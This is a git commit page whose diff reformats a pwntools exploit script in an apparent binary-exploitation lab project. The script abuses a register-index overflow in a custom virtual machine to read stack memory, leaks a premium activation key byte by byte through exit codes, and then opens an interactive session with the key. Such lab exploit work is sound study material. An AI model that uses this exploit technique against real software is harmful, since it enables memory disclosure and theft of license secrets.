cato447/BinexProject
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Reformat exploit.py.

Browse Source
This commit is contained in:
Johannes Maier
2024-01-16 22:04:01 +01:00
parent f84a733706
commit 7710474cd2
1 changed files with 19 additions and 15 deletions
Download Patch File Download Diff File Expand all files Collapse all files

34
exploit/exploit.py
View File

@@ -114,6 +114,7 @@ def exec_program(p: pwnlib.tubes.remote.remote, program: bytes) -> int:
log.info(f"As char: {bytes([exit_code]).decode()}")
return exit_code
def extract_premium_key():
offset_saved_rip_to_activation_key = 0x396d
@@ -122,21 +123,22 @@ def extract_premium_key():
p = connect(b"", False)
i = 0
while i < 0x80:
program = instr_r(Opcode.ADD, Register.K, Register.A) # arbitrary
program += instr_i(Opcode.LOADI, Register.A, 0x90909090)
program = load_rsp(Register.G) # mov r8, rsp
program += instr_r(Opcode.ADD, Register.A,
Register.G) # mov rcx, r8 (rcx, because we overflow the highest bit of register_id[r8])
program += arbitrary_read(Register.H, Register.C) # add r9, [rcx]
program += instr_r(Opcode.ADD, Register.C,
Register.H) # mov rdx, r9 (rdx, because we again overflow the highest bit of register_id[r9])
program += instr_i(Opcode.ADDI, Register.D,
offset_saved_rip_to_activation_key + i) # add rdx, offset_saved_rip_to_activation_key
program += arbitrary_read(Register.I, Register.D) # add r10, [rdx]
program += instr_r(Opcode.ADD, Register.D,
Register.I) # mov rbx, r10 (rbx, because we again overflow the highest bit of register_id[r10])
program += instr_r(Opcode.COPY, Register.A, Register.B) # mov rax, rbx
# mov r8, rsp
program = load_rsp(Register.G)
# mov rcx, r8 (rcx, because we overflow the highest bit of register_id[r8])
program += instr_r(Opcode.ADD, Register.A, Register.G)
# add r9, [rcx]
program += arbitrary_read(Register.H, Register.C)
# mov rdx, r9 (rdx, because we again overflow the highest bit of register_id[r9])
program += instr_r(Opcode.ADD, Register.C, Register.H)
# add rdx, offset_saved_rip_to_activation_key
program += instr_i(Opcode.ADDI, Register.D, offset_saved_rip_to_activation_key + i)
# add r10, [rdx]
program += arbitrary_read(Register.I, Register.D)
# mov rbx, r10 (rbx, because we again overflow the highest bit of register_id[r10])
program += instr_r(Opcode.ADD, Register.D, Register.I)
# mov rax, rbx
program += instr_r(Opcode.COPY, Register.A, Register.B)
exit_code = exec_program(p, program)
if exit_code == 0:
@@ -149,9 +151,11 @@ def extract_premium_key():
p.close()
return premium_key
context.log_level = 'warn'
premium_key = extract_premium_key()
p = connect(premium_key, True)
p.interactive()